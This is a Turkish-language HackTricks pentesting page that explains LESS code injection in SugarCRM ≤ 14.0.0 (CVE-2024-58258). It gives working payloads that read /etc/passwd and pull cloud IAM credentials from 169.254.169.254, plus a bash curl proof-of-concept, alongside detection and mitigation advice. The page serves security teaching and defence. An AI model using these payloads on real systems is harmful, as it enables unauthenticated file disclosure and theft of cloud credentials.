hacktricks/src/pentesting-web/less-code-injection-ssrf.md

76 lines
3.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LESS Kod Enjeksiyonu ile SSRF ve Yerel Dosya Okuma
{{#include ../banners/hacktricks-training.md}}
## Genel Bakış
LESS, değişkenler, mixin'ler, fonksiyonlar ve güçlü `@import` direktifi ekleyen popüler bir CSS ön işleyicisidir. Derleme sırasında LESS motoru, **`@import`** ifadelerinde referans verilen kaynakları **alır** ve `(inline)` seçeneği kullanıldığında bunların içeriklerini sonuçta oluşan CSS'ye gömülü ("inline") olarak ekler.
Bir uygulama, **kullanıcı kontrolündeki girişi** daha sonra LESS derleyicisi tarafından işlenen bir dizeye eklediğinde, bir saldırgan **rastgele LESS kodu** enjekte edebilir. Saldırgan, `@import (inline)`'i kötüye kullanarak sunucunun şunları almasını zorlayabilir:
* `file://` protokolü aracılığıyla yerel dosyalar (bilgi sızıntısı / Yerel Dosya Dahil Etme).
* Dahili ağlar veya bulut meta veri hizmetlerindeki uzaktan kaynaklar (SSRF).
Bu teknik, **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` uç noktası) gibi gerçek dünya ürünlerinde görülmüştür.
## Sömürü
1. LESS motoru tarafından işlenen bir stil sayfası dizesine doğrudan gömülü bir parametre belirleyin (örneğin, SugarCRM'deki `?lm=`).
2. Mevcut ifadeyi kapatın ve yeni direktifler enjekte edin. En yaygın temel ifadeler şunlardır:
* `;` önceki bildirimi sonlandırır.
* `}` önceki bloğu kapatır (gerekirse).
3. Rastgele kaynakları okumak için `@import (inline) '<URL>';` kullanın.
4. İsteğe bağlı olarak, derlenmiş CSS'den alınan içeriğin çıkarılmasını kolaylaştırmak için import'tan sonra bir **işaretçi** (`data:` URI) enjekte edin.
### Yerel Dosya Okuma
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
`/etc/passwd` dosyasının içeriği, `@@END@@` işaretçisinden hemen önce HTTP yanıtında görünecektir.
### SSRF Bulut Metadata
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### Otomatik PoC (SugarCRM örneği)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Tespit
* Temizlenmemiş sorgu parametreleri içeren dinamik olarak oluşturulmuş `.less` veya `.css` yanıtlarını arayın.
* Kod incelemesi sırasında, LESS render fonksiyonlarına geçirilen `"@media all { .preview { ... ${userInput} ... } }"` gibi yapıları arayın.
* Sömürü girişimleri genellikle `@import`, `(inline)`, `file://`, `http://169.254.169.254` vb. içerir.
## Önlemler
* Güvenilmeyen verileri LESS derleyicisine **geçmeyin**.
* Dinamik değerlere ihtiyaç varsa, bunları düzgün bir şekilde **kaçırın**/temizleyin (örneğin, sayısal token'larla sınırlayın, beyaz liste oluşturun).
* Mümkünse, `(inline)` import kullanımını devre dışı bırakın veya izin verilen protokolleri `https` ile sınırlayın.
* Bağımlılıkları güncel tutun SugarCRM bu sorunu 13.0.4 ve 14.0.1 sürümlerinde yamanmıştır.
## Gerçek Dünya Vakaları
| Ürün | Gü vulnerable Endpoint | Etki |
|---------|--------------------|--------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Kimlik doğrulaması yapılmamış SSRF & yerel dosya okuma |
## Referanslar
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Kod Enjeksiyon Açığı](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Güvenlik Danışmanlığı SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}